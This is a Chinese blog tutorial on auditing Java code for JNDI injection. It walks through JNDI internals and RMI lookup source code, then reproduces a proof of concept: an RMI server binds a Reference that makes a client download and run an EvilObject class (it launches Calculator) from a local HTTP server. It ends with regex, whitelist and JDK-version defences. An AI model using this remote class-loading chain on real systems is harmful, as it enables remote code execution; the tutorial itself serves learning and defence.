当前位置:   article > 正文

【Java代码审计】JNDI注入篇

【Java代码审计】JNDI注入篇

1.什么是JNDI

JNDI (Java Naming and Directory Interface )是 Java 提供的 Java 命名和目录接口。通过调用 JNDI 的 API 可以定位资源和其他程序对象。JNDI 是 Java EE 的重要部分,JNDI 可访问的现有的目录及服务有:JDBC、LDAP、RMI、DNS、NIS、CORBA

为了在命名服务或目录服务中绑定 Java 对象,可以使用 Java 序列化来传输对象,但有时候不太合适,比如 Java 对象较大的情况。因此 JNDI 定义了命名引用(Naming References),后面直接简称引用(References)。这样对象就可以通过绑定一个可以被命名管理器(Naming Manager)解码并解析为原始对象的引用,间接地存储在命名或目录服务中

引用由 Reference 类来表示,它由地址(RefAddress)的有序列表和所引用对象的信息组成。而每个地址包含了如何构造对应的对象的信息,包括引用对象的 Java 类名,以及用于创建对象的 ObjectFactory 类的名称和位置

Reference 可以使用 ObjectFactory 来构造对象。当使用lookup()方法查找对象时, Reference 将使用提供的 ObjectFactory 类的加载地址来加载 ObjectFactory 类, ObjectFactory 类将构造出需要的对象

在这里插入图片描述

命名服务(Naming Server)

命名服务,简单来说,就是一种通过名称来查找实际对象的服务。比如我们的RMI协议,可以通过名称来查找并调用具体的远程对象。再比如我们的DNS协议,通过域名来查找具体的IP地址

在命名服务中,有几个重要的概念:

  • Bindings:表示一个名称和对应对象的绑定关系,比如在 DNS 中域名绑定到对应的
    IP,在RMI中远程对象绑定到对应的name,文件系统中文件名绑定到对应的文件
  • Context:上下文,我们可以在指定上下文中查找名称对应的对象。比如在文件系统中,一个目录就是一个上下文,可以在该目录中查找文件,其中子目录也可以称为子上下文 (SubContext)
  • References:在一个实际的名称服务中,有些对象可能无法直接存储在系统内,这时它们便以引用的形式进行存储,可以理解为 C/C++ 中的指针。引用中包含了获取实际对象所需的信息,甚至对象的实际状态

目录服务(Directory Service)

目录服务是命名服务的扩展,除了名称服务中已有的名称到对象的关联信息外,还允许对象拥有属性(Attributes)信息。目录服务中的对象称之为目录对象。目录服务提供创建、添加、删除目录对象以及修改目录对象属性等操作。由此,我们不仅可以根据名称去查找(lookup)对象(并获取其对应属性),还可以根据属性值去搜索(search)对象

一些常见的目录服务有:

LDAP: 轻型目录访问协议
Active Directory: 为 Windows 域网络设计,包含多个目录服务,比如域名服务、证书服务等;
其他基于 X.500 (目录服务的标准) 实现的目录服务;
  • 1
  • 2
  • 3

目录服务也是一种特殊的名称服务,关键区别是在目录服务中通常使用搜索(search)操作去定位对象,而不是简单的根据名称查找(lookup)去定位

JNDI SPI

JNDI 架构上主要包含两个部分,即 Java 的应用层接口和 SPI,如下图所示

在这里插入图片描述

SPI(Service Provider Interface),即服务供应接口,主要作用是为底层的具体目录服务提供统一接口,从而实现目录服务的可插拔式安装

JDK 中包含了下述内置的命名目录服务:

RMI: Java Remote Method Invocation,Java 远程方法调用
LDAP: 轻量级目录访问协议
CORBA: Common Object Request Broker Architecture,通用对象请求代理架构,用于 COS 名称服务(Common Object Services)
DNS(域名转换协议)
  • 1
  • 2
  • 3
  • 4

2.JNDI Reference类

Reference类表示对存在于命名/目录系统以外的对象的引用。比如远程获取 RMI 服务上的对象是 Reference 类或者其子类,则在客户端获取到远程对象存根实例时,可以从其他服务器上加载class文件来进行实例化

当在本地找不到所调用的类时,我们可以通过Reference类来调用位于远程服务器的类

Reference类常用构造函数如下:

//className为远程加载时所使用的类名,如果本地找不到这个类名,就去远程加载
//factory为工厂类名,加载的class中需要实例化类的名称
//factoryLocation为工厂类加载的地址,可以是file://、ftp://、http:// 等协议
Reference(String className,  String factory, String factoryLocation) 
  • 1
  • 2
  • 3
  • 4

在RMI中,由于我们远程加载的对象需要继承UnicastRemoteObject类,所以这里我们需要使用ReferenceWrapper类对Reference类或其子类对象进行远程包装成Remote类使其能够被远程访问


3.JNDI代码示例 & JNDI_RMI

测试环境JDK版本为JDK8u_65

在这里插入图片描述
1、编写一个RMI服务接口

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface IHello extends Remote {
    public String sayHello(String name) throws RemoteException;
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

2、编写RMI服务并开启服务,实现RMI服务接口

import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;

public class RMI_Server {

    public class RMIHello extends UnicastRemoteObject implements IHello {
        protected RMIHello() throws RemoteException{
            super();
        }

        @Override
        public String sayHello(String name) throws RemoteException {
            System.out.println("Hello World!-..-");
            return name;
        }
    }

    private void register() throws Exception{
        RMIHello rmiHello=new RMIHello();
        LocateRegistry.createRegistry(1099);
        Naming.bind("rmi://127.0.0.1:1099/hello",rmiHello);
        System.out.println("Registry运行中......");
    }

    public static void main(String[] args) throws Exception {
        new RMI_Server().register();
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30

在这里插入图片描述

3、通过JNDI接口调用远程类

import javax.naming.Context;
import javax.naming.InitialContext;
import java.util.Hashtable;

public class JNDI_RMI {
    public static void main(String[] args) throws Exception {

        //设置JNDI环境变量
        Hashtable<String, String> env = new Hashtable<>();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL, "rmi://localhost:1099");


        //初始化上下文
        Context initialContext = new InitialContext(env);

        //调用远程类
        IHello ihello = (IHello) initialContext.lookup("hello");
        System.out.println(ihello.sayHello("tomc"));

    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22

成功调用远程接口:

在这里插入图片描述


4.JNDI的源码分析

测试环境JDK版本为JDK8u_65

在lookup核心方法上下断点调试:

在这里插入图片描述

1、一直向下追到lookup构造方法

public Object lookup(String var1) throws NamingException {
    ResolveResult var2 = this.getRootURLContext(var1, this.myEnv);
    Context var3 = (Context)var2.getResolvedObj();

    Object var4;
    try {
        var4 = var3.lookup(var2.getRemainingName());
    } finally {
        var3.close();
    }

    return var4;
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13

2、首先,getRootURLContext方法,用于解析一个RMI URL并返回相应的上下文信息,也就是分隔RMI URL的各个部分(如端口,主机名,路径),并返回相应的上下文信息

protected ResolveResult getRootURLContext(String var1, Hashtable<?, ?> var2) throws NamingException {
    if (!var1.startsWith("rmi:")) {
        throw new IllegalArgumentException("rmiURLContext: name is not an RMI URL: " + var1);
    } else {
        String var3 = null;
        int var4 = -1;
        String var5 = null;
        int var6 = 4;
        ......
        RegistryContext var10 = new RegistryContext(var3, var4, var2);
        return new ResolveResult(var10, var11);
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13

可以看到,返回的var2已经获取了RMI URL的各个部分信息

在这里插入图片描述

3、接着向下,复制var2的ResolvedObj属性到var3,以方便调用var3的lookup构造方法

在这里插入图片描述

4、接着到var3的lookup方法,这段代码的作用是查找给定名称的远程对象,并返回解码后的对象,var1是上文传入的RemainingName,也就是hello,首先会判断RemainingName是不是为空

public Object lookup(Name var1) throws NamingException {
    if (var1.isEmpty()) {
        return new RegistryContext(this);
    } else {
        Remote var2;
        try {
            var2 = this.registry.lookup(var1.get(0));
        } catch (NotBoundException var4) {
            throw new NameNotFoundException(var1.get(0));
        } catch (RemoteException var5) {
            throw (NamingException)wrapRemoteException(var5).fillInStackTrace();
        }

        return this.decodeObject(var2, var1.getPrefix(1));
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16

5、接着,从注册表中查找名称为var1的远程对象

在这里插入图片描述

6、接着,我们来看看从注册表中查找对象时候发生了什么

首先,创建一个新的远程调用(RemoteCall)对象

在这里插入图片描述

this.ref.getChannel().newConnection()中创建一个TCPConnection

Connection var6 = this.ref.getChannel().newConnection();
  • 1

在这里插入图片描述

接着,构造一个 StreamRemoteCall 对象,并在其中初始化远程调用的头部信息,包括远程对象的标识符、操作的索引和超时时间

在这里插入图片描述

继续步入,到了lookup方法,这段代码的作用是执行远程对象的查找操作,通过远程调用来实现

public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
    try {
        RemoteCall var2 = super.ref.newCall(this, operations, 2, 4905912898345647071L);

        try {
            ObjectOutput var3 = var2.getOutputStream();
            var3.writeObject(var1);
        } catch (IOException var18) {
            throw new MarshalException("error marshalling arguments", var18);
        }

        super.ref.invoke(var2);

        Remote var23;
        try {
            ObjectInput var6 = var2.getInputStream();
            var23 = (Remote)var6.readObject();
        } catch (IOException var15) {
            throw new UnmarshalException("error unmarshalling return", var15);
        } catch (ClassNotFoundException var16) {
            throw new UnmarshalException("error unmarshalling return", var16);
        } finally {
            super.ref.done(var2);
        }

        return var23;
    } catch (RuntimeException var19) {
        throw var19;
    } catch (RemoteException var20) {
        throw var20;
    } catch (NotBoundException var21) {
        throw var21;
    } catch (Exception var22) {
        throw new UnexpectedException("undeclared checked exception", var22);
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36

在这里插入图片描述

7、最后,执行decodeObject方法,用于解码远程对象

private Object decodeObject(Remote var1, Name var2) throws NamingException {
    try {
        Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
        return NamingManager.getObjectInstance(var3, var2, this, this.environment);
    } catch (NamingException var5) {
        throw var5;
    } catch (RemoteException var6) {
        throw (NamingException)wrapRemoteException(var6).fillInStackTrace();
    } catch (Exception var7) {
        NamingException var4 = new NamingException();
        var4.setRootCause(var7);
        throw var4;
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14

首先,方法检查 var1 是否是 RemoteReference 类型的实例。如果是,则通过 ((RemoteReference)var1).getReference() 获取远程引用对象;否则,直接使用 var1 对象

在RMI中,由于我们远程加载的对象需要继承UnicastRemoteObject类,所以这里我们需要使用ReferenceWrapper类对Reference类或其子类对象进行远程包装成Remote类使其能够被远程访问

在这里插入图片描述

接着,方法调用 NamingManager.getObjectInstance() 方法,传入远程对象、Name 对象、当前对象和环境参数 environment。这个方法的作用是将远程对象转换为本地对象,并返回转换后的本地对象,从而触发远程类的执行

在这里插入图片描述

8、让我们逐步解析getObjectInstance方法

public static Object
    getObjectInstance(Object refInfo, Name name, Context nameCtx,
                      Hashtable<?,?> environment)
    throws Exception
{

    ObjectFactory factory;

    ......

    // try using any specified factories
    answer =
        createObjectFromFactories(refInfo, name, nameCtx, environment);
    return (answer != null) ? answer : refInfo;
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15

首先检查是否安装了对象工厂构建器,如果有,则使用它创建一个对象工厂实例,并调用工厂实例的 getObjectInstance 方法来获取对象实例。如果没有安装对象工厂构建器,则继续下一步,本例中采用远程方法调用,故本地没有对象工厂构建器

在这里插入图片描述

接着检查 refInfo 是否为 Reference 或 Referenceable 类型的实例。如果是 Reference 类型,则尝试获取引用中的工厂类名

在这里插入图片描述

如果ref存在,则使用该工厂类名创建相应的对象工厂

static ObjectFactory getObjectFactoryFromReference(
    Reference ref, String factoryName)
    throws IllegalAccessException,
    InstantiationException,
    MalformedURLException {
    Class<?> clas = null;

    // Try to use current class loader
    try {
         clas = helper.loadClass(factoryName);
    } catch (ClassNotFoundException e) {
        // ignore and continue
        // e.printStackTrace();
    }
    // All other exceptions are passed up.

    // Not in class path; try to use codebase
    String codebase;
    if (clas == null &&
            (codebase = ref.getFactoryClassLocation()) != null) {
        try {
            clas = helper.loadClass(factoryName, codebase);
        } catch (ClassNotFoundException e) {
        }
    }

    return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28

如果在当前类路径中找不到类,并且引用中存在代码库位置(codebase),则会尝试使用引用中指定的代码库加载类

在这里插入图片描述

最后调用 newInstance() 方法来执行实例

在这里插入图片描述


5.JNDI注入 & JNDI+RMI

所谓的 JNDI 注入就是控制 lookup 函数的参数,这样来使客户端访问恶意的 RMI 或者 LDAP 服务来加载恶意的对象,从而执行代码,完成利用

JNDI接口可以调用多个含有远程功能的服务,所以我们的攻击方式也多种多样。但流程大同小异,如下图所示:

在这里插入图片描述

原理:

1、客户端通过lookup()方法,注入了rmi协议,访问了远程的rmi服务器

2、rmi服务器返回了引用对象,而引用对象包含了类的加载工厂

3、如果本地没有这个类,就去加载工厂加载类的字节码

4、加载工厂是黑客远程的某个vps主机端口,目录下有payload.class文件

5、客户端再去访问恶意vps的端口,去下载payload.calss的字节码

6、然后客户端Class.forName加载了这个字节码,造成了payload.class这个类里面的静态代码被执行,造成RCE

代码复现:

1、首先,写一个rmi服务的启动类,之后运行,将在本地模拟开启一个rmi远程服务:

// JNDI + RMI 服务
// rmi://127.0.0.1:1099/hello
public class JNDIRmiServer {
    void register() throws Exception {
        LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("EvilObject", "EvilObject", "http://127.0.0.1:8966/");
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(reference);
        Naming.bind("rmi://127.0.0.1:1099/hello", refObjWrapper);
        System.out.println("Registry运行中......");
    }

    public static void main(String[] args) throws Exception {
        new JNDIRmiServer().register();
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15

在这里插入图片描述

2、EvilObject类为我们rmi服务查找的远程工厂的class文件,我们来实现这个恶意类,并编译它:

该类用于在mac系统下打开本地的计算机程序

public class EvilObject {
    public EvilObject() throws Exception {
        // 打开计算器
        Process p = Runtime.getRuntime().exec(new String[]{"open", "-a", "Calculator"});
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));

        String line;
        while ((line = reader.readLine()) != null) {
            System.out.println(line);
        }

        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }

    public static void main(String[] args) throws Exception {
        // EvilObject evilObject = new EvilObject();
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22

编译出class文件:

在这里插入图片描述

3、接着我们要让rmi服务可以访问到我们的class文件,可以把恶意的类放在vps上,这里为了方便直接使用python在本地开启一个http服务:(这里注意服务的端口要和rmi服务制定的远程工厂的端口相同)

在这里插入图片描述
4、最后,在客户端执行存在注入的代码:

public class jndiTest {
    public static void main(String[] args) throws Exception {
        String string = "rmi://localhost:1099/hello";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(string);
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

触发RCE:

在这里插入图片描述


6.JNDI注入的安全代码

1、正则拦截(指定参数的正则匹配)

public String safe(String content) {
    // 使用正则表达式限制参数的值
    // 只能包含字母、数字、下划线、连字符和句点
    if (content.matches("^[\\w\\.-]+$")) {
        try {
            Context ctx = new InitialContext();
            ctx.lookup(content);
        } catch (Exception e) {
            log.warn("JNDI错误消息");
        }
        return HtmlUtils.htmlEscape(content);
    } else {
        return "JNDI 正则拦截";
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15

此时再执行恶意payload则显示已经被拦截:

在这里插入图片描述

2、白名单拦截

public String safe2(String content) {
    List<String> whiteList = Arrays.asList("java:comp/env/jdbc/mydb", "java:comp/env/mail/mymail");
    if (whiteList.contains(content)) {
        try {
            Context ctx = new InitialContext();
             ctx.lookup(content);
         } catch (Exception e) {
             log.warn("JNDI错误消息");
         }
        return HtmlUtils.htmlEscape(content);
    } else {
        return "JNDI 白名单拦截";
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14

此时再执行恶意payload则显示已经被拦截:

在这里插入图片描述

3、更新jdk版本,能起到一定的防御作用,但不能完全有效,最终还是在于编写安全代码

在JDK 6u132, JDK 7u122, JDK 8u113之后Java限制了通过RMI远程加载Reference工厂类。com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为了false,即默认不允许通过RMI从远程的Codebase加载Reference工厂类

Exception in thread "main" javax.naming.ConfigurationException: The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.
	at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:495)
	at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:138)
	at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
	at javax.naming.InitialContext.lookup(InitialContext.java:417)
	at JNDI_Dynamic.main(JNDI_Dynamic.java:7)
 
Process finished with exit code 1
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

高版本 JDK 中无法加载远程代码的异常出现在 com.sun.jndi.rmi.registry.RegistryContext#decodeObject

JDK8u_65中的代码:

在低版本JDK_8u65下,在RegistryContext#decodeObject()方法会直接调用到NamingManager#getObjectInstance(),进而调用getObjectFactoryFromReference()方法来获取远程工厂类

在这里插入图片描述

JDK_8u202:

同样是在RegistryContext#decodeObject()方法,这里增加了对类型以及trustURLCodebase的检查,默认值为false

在这里插入图片描述

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/2023面试高手/article/detail/230821
推荐阅读
相关标签
  

闽ICP备14008679号